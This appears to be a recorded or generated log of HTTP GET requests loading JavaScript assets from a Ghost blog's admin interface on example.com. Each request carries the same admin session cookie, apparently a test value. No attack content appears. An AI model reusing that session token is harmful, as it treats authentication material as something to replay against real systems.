{"method": "GET", "target": "/ghost/assets/dist-BzashvGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/lib-CmL7hMOQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/analytics-Cj7bTZhC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/images-CoVkxhed.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dropzone-nt_3dI2o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/prop-types-B8rMafi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/page-header-BZAQCX93.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/heading-XKAYjT0Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/select-De66Q0Np.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/preview-chrome-z36eH2v9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/radio-group-COYgs1Oh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/switch-08pTpI2l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tabs-x_EBkQ-i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/textarea-9kkkItPg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/toggle-group-CbBD6ECj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/images-CClFWRrp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/member-format-DrcVrnM2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/editor-return-DmblXePh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/purify.es-By5UdXoD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-unsaved-changes-guard-BIfTQjJz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-router-history-entry-DYG_hZv1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/chip-picker-aAXRsU0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sortable.esm-H4JOBEIz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/virtual-list-1NcFkHUd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-B0j4y8A_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/screen-entrance-provider-CPNWSe2Y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/assertString-xweUBf3M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tag-picker-CMxUiZw6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/email-previews-6rA3kQE8.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/emails-BZ3mvix4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/index.es-DkE4XGsf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/brand-icon-BpkWg1bw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/content-text-BP5YhPKd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/autocomplete-links-CF9oXdcC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/koenig-lexical-5yl8QMt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-B2CflbHM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-settings-navigation-B27QqD50.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/confirmation-context-CI7uiAXg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/zapier-modal-D4_YmIR5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/action-list-D-8kNw_l.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/link-0l1oEvYX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-modal-CdZFHHmU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/integrations-02NPOVjz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/api-keys-qurkm_HE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/copy-field-eUmv88Uy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/integration-header-DEFc4kRn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/api-keys-DD6tzM0P.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sidebar-Cxgn680J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/global-data-context-DEBn4F7a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/orb-pink-DHoYttFD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/global-data-provider-CG0GJ0r9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
